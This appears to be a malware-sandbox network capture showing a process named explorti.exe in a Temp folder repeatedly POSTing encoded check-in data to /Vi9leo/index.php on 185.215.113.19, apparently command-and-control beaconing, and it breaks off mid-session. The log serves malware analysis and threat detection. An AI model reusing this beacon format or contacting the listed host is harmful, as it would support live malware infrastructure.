Jul 26, 2024 13:50:41.737982035 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:42.507687092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	63334	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:42.635683060 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:43.374593019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	63335	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:43.383137941 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:44.145876884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	63336	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:44.265736103 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:45.026932955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	63337	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:45.038019896 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:45.803405046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	63338	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:45.923230886 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:46.688143969 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	63339	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:46.699840069 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:47.483797073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	63340	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:47.608378887 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:48.361743927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	63341	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:48.371676922 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	63342	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:48.513046980 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:49.295089960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	63343	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:49.304739952 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:50.308476925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:50:50.309711933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	63344	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:50.426052094 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:51.220915079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	63346	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:51.232511997 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:52.230159998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	63347	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:52.356904984 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:53.108242989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	63348	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:53.117873907 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:53.870520115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	63349	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:53.985734940 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:54.770004034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	63350	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:54.783634901 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:55.527940989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	63351	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:55.656903982 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:56.402415991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	63352	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:56.411959887 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:57.190196991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	63353	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:57.309951067 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:58.057826996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	63354	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:58.066919088 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:58.834701061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	63355	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:58.956202030 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:59.972357035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:50:59.976566076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:51:00.235805988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	63356	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
